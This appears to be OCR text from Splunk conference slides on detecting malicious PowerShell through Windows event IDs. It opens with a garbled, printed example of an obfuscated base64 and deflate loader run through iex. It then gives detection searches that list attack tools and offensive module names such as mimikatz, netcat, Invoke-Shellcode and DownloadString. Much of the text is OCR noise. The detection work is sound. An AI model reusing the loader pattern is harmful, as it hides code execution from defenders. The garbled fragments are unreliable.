gAaABLAESATgBWAEWAawBRAEWANAAZACsAdgBRAGgAJQBgAHKAZABBADKA

ASQB3AEUAQRBEAR M QBGAHEACWAZAGOAaQA1AFUAWABKADAAdgBUAGAATQBUAEMADQBNAEgAe ~"A@WBRAEWANAAZ

ACsAdgBRAGEAdQE AAOAFIAMAA4AE0AawAyAHgAaQASAEOANABDAESAdWBVADCAQQBMAEWAJQB “4AE0AaWAYAHgAa

QASAEOANABDAESA YAHMANQAOADEATWBLAFCATQB2ADYAaQBoADKkAawBOAHCATABDAHMAUGB1  ANABWAGEACQBVAE

BOAHIAZQBhAGOAX TABjAGKkAeABDAHM

kAagArAFUATWBSA , ACcAKQASAFsASQB

" < DECODE > UTF-8 ¥ (You may also select input charset.) Q Q
PAC4AQWBVAGOACA VBtAHAACgBLAHMA
cWApPACKALABDAFQ JAbgBKACgAKQA="

sal a New-Object;iex(a 10.StreamReader((a
| eval length=1 10 Compression.DeflateStream([10.MemoryStream]
016 powershell- [Convert]::FromBase64String('LcixCsIWEADQX3EIVIcmLi5KkFKEGIBBRXC8hKONp
cwBhAGWAI LkQL43+VQhu1ydA91Jqs3m|5UXd0anMTCmgHx4R08JkZX|9M4COwo7AfLuX3541O ACAASQBPAC4AQWBVAG(
531 cwindow: KWMVBIhOKNwLisRua4VaqUIj+UORuUIiZVgO24nzV1w+Z6ely6ZI2tvg=="), b71f-9¢7b5agbe02b -Syst
[10.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCIl)).ReadToEnd()

531 "C:\Windows f-af5c-c3de22b42f9f -Syst

531 "C:\Windows )-0046-9daefd4aaed54 -Syst



: BOMUS '‘ROUND
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PowerShell Power Hell: Hunting for

Bechtel Corporation

8
Malicious Use of PowerShell with Splunk
Ryan Chapman

Lisa Tawfall

i /5.8 (Macinteg,,
R s
‘;,(2\2-.\& C“ro“g‘cw_@l&JS‘iS“M e “sr.:su
6?7 q-wa“‘@°2§,‘d?s@féﬁiﬁ':‘:‘;;ii%}“é:ﬁx@.& '{H\l S\lGEQT Ity
N A'/;/«“V';vﬁ e N P,{ W 3 "“ -4 "N
RIS B\ B2y Wy
. Ay \ ¢ (=) N ( \ \\
RS - B
ol & @ . \rg_ R
p \ 0o S 0 ; 0o N
ATAT 5 (R I
O N A
> A RN 4 2
oS e, UKL e Ak
e el 50 ToNID=sDes e r L I ¢ P ol 5
X ‘Sﬂe‘“’ﬁ% G- T WO G o e s D W 13t 23 LR B
A0 e el LG g M aggs A o8 © WUy 4% 4 g
. 0‘)"\& x"“\“"'\“eq;od%j‘ & ‘,’6 Sg\s \XW 1 " -4 Qwal‘}‘m Q'h Wﬂjm m /4 > };\9 7«\7\?}}105 Oe
.Béchtel Corporatjgfyl* . " %2\ o ey, S S, ) :
WP TN e iy o M g L1 g ;
S & & % 2N\ U Z S\ ol J W{ o .82 W/
— S (O] h 3 ‘,"#T‘ A i Jaﬂ 810
DVQ y '\\{\c’ SN 4 T e N gy
i PG N EAN e 7 O e
' &QQ ARSI AN e (AR .
2 %, \QY 9 S 2 Y 00
\> 2 BN PR he D
e S i 2 o LEE
e AN e AR
5 N o m
3 4 0 A = o .O\z " ©
h A 583 kS
pr\ d ”m% i (:‘ [7
NG
A ENT
'\ S
(Macmt N (%
'y 0
(00
I J_S

Q .
0¥ 29 WU
:»é;g,ﬁkoﬂ
viz 5
NID=Spgs) grrappieass ' )
Tn"v E€s/LaegeS ge GLE

A
p [79‘/
® /\)\'/"“' =
,353,-/ >3
STaw
:”Soluweb” @'S/E\\‘lo““



.conf2015

i

&

Copyright © 2015 Splunk Inc.

Finding Advanced
Attacks and Malware
With Only 6 Windows
EventID’s

Michael Gough

Malware Archaeologist,
MalwareArchaeology.com

@HackerHurricane

splunk>




ioad SpJICAR I\ —

splunkys 5

plunk >

‘Michael Gough

@HackerHurricane
hitp://www.HackerHurricane.com

\Co-Creator of Log-MD

splunk> (.conf201s



New Process Started (EventCode 4688)

index=windows source="WinEventLog:Security" (EventCode=4688) NOT
(Account_Name=*$) (at.exe OR bcdedit.exe OR chcp.exe OR cmd.exe OR
cscript.exe OR ipconfig.exe OR mimikatz.exe OR nbtstat.exe OR nc.exe OR
netcat.exe OR netstat.exe OR nmap OR nslookup.exe OR bcp.exe OR
sglcmd.exe OR 0OSQL.exe OR ping.exe OR powershell.exe OR powercat.psl OR
psexec.exe OR psexecsvc.exe OR psLoggedOn.exe OR procdump.exe OR rar.exe
OR reg.exe OR route.exe OR runas.exe OR sc.exe OR schtasks.exe OR
sethc.exe OR ssh.exe OR sysprep.exe OR systeminfo.exe OR system32\
\net.exe OR tracert.exe OR vssadmin.exe OR whoami.exe OR winrar.exe OR
wscript.exe OR winrm.* OR winrs.* OR wmic.exe OR wsmprovhost.exe) | eval
Message=split(Message,".") | eval Short_Message=mvindex(Message,9) |
table Ome, host, Account_Name, Process Name, Process_1ID,

Process _Command Line, New Process Name, New Process ID,

Creator Process ID, Short Message [4]
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New Process Started (EventCode 4688)

time host Account_Name Process_Command_Line New_Process_Name New_Process_ID Creator_Process_ID Short_Message
Some Server Some_Admin
Some_Server Some_Admin
Some Server Vuln_Scanner
Some_Server Some_Admin
Some Server Some DBA MD.EX
Some_Server Some Admin
Some_Server Some_Admin

[4]
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Finding Modules (EventCode 4103 or 4104)

sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational” (EventCode=4104) OR (EventCode=4103)(Set-ExecutionPolicy
OR Set-MasterBootRecordl OR Get-WMIObject OR Get-GPPPassword OR Get-Keystrokes OR Get-TimedScreenshot OR Get-
VaultCredential OR GetServiceUnquoted OR Get-ServiceEXEPerms OR Get-ServicePerms OR Get-RegAlwaysInstallElevated OR Get-
RegAutoLogon OR Get-UnattendedInstallFiles OR Get-Webconfig OR Get-ApplicationHost OR Get-PassHashes OR Get-LsaSecret OR
GetInformation OR Get-PSADForestInfo OR Get-KerberosPolicy OR Get-PSADForestKRBTGTInfo OR Get-PSADForestInfo OR
GetKerberosPolicy OR Invoke-Command OR Invoke-Expression OR iex OR Invoke-Shellcode OR Invoke--Shellcode OR Invoke-
ShellcodeMSIL OR InvokeMimikatzWDigestDowngrade OR Invoke-NinjaCopy OR Invoke-CredentialInjection OR Invoke-
TokenManipulation OR InvokeCallbackIEX OR Invoke-PSInject OR Invoke-Dl1lEncode OR Invoke-ServiceUserAdd OR Invoke-ServiceCMD
OR Invoke-ServiceStart OR Invoke-ServiceStop OR Invoke-ServiceEnable OR Invoke-ServiceDisable OR Invoke-FindDLLHijack OR
Invoke-FindPathHijack OR Invoke-AllChecks OR Invoke-MassCommand OR Invoke-MassMimikatz OR Invoke-MassSearch OR Invoke-
MassTemplate OR Invoke-MassTokens OR Invoke-ADSBackdoor OR Invoke-CredentialsPhish OR Invoke-BruteForce OR Invoke-
PowerShellIcmp OR Invoke-PowerShellUdp OR Invoke-PsGcatAgent OR Invoke-PoshRatHttps OR Invoke-PowerShellTcp OR Invoke-
PoshRatHttp OR Invoke-PowerShellWmi OR Invoke-PSGcat OR Invoke-Encode OR Invoke-Decode OR Invoke-CreateCertificate OR
InvokeNetworkRelay OR EncodedCommand OR New-ElevatedPersistenceOption OR wsman OR Enter-PSSession OR DownloadString OR
DownloadFile OR Out-Word OR Out-Excel OR Out-Java OR Out-Shortcut OR Out-CHM OR Out-HTA OR Out-Minidump OR HTTP-Backdoor OR
FindAVSignature OR DllInjection OR ReflectivePEInjection OR Base64 OR System.Reflection OR System.Management OR Restore-
ServiceEXE OR Add-ScrnSaveBackdoor OR Gupt-Backdoor OR Execute-OnTime OR DNS_TXT_Pwnage OR WriteUserAddServiceBinary OR
Write-CMDServiceBinary OR Write-UserAddMSI OR Write-ServiceEXE OR Write-ServiceEXECMD OR Enable-DuplicateToken OR Remove-
Update OR Execute-DNSTXT-Code OR Download-Execute-PS OR Execute-CommandMSSQL OR Download_Execute OR Copy-VSS OR Check-VM OR
Create-MultipleSessions OR Run-EXEonRemote OR Port-Scan OR Remove-PoshRat OR TexttoEXE OR Base64ToString OR StringtoBase64
OR Do- Exflltratlon OR Parse Keys OR Add- Exflltratlon OR AddPer51stence OR Remove Per51stence OR F1nd PSServiceAccounts OR
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Finding Modules (EventCode 4103 or 4104)

8/28/2016 08:13:25 PM

000 PM LogName=microsoft-windows-powershell/operational

w0 0
LJ
0
o

w
ro
wn

So eName f -PowerShell
EventCode=4104
EventType=5

ype=Yerbose

ComputerName=DESKTOP-7THAHUU1
User=NOT_TRANSLATED
51d=5-1-5-21-1513024343-3603710821-2462261160-1001
SidType=0

TaskCategory=Execute a3 Remote Command
OpCode=0n create calls

RecordNumber=760051

Keywords=None
Message=Creating Scriptblock text (1 of 1)
Invoke-Shellcode

ScriptBlock ID: cS58e53ed-40fa-4f43-8117-33f4%eb60cd
Path:

DESKTQP.THAHUUI
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Takeaways

The threat from PowerShell is real

Upgrade to WMF5.0/PowerShell 5.0

PowerShell has many places to enable logging
Don’t forget to log Command Line Process Creation
You probably don’t have logging enabled ®

Read the cheat sheets by Michael Gough
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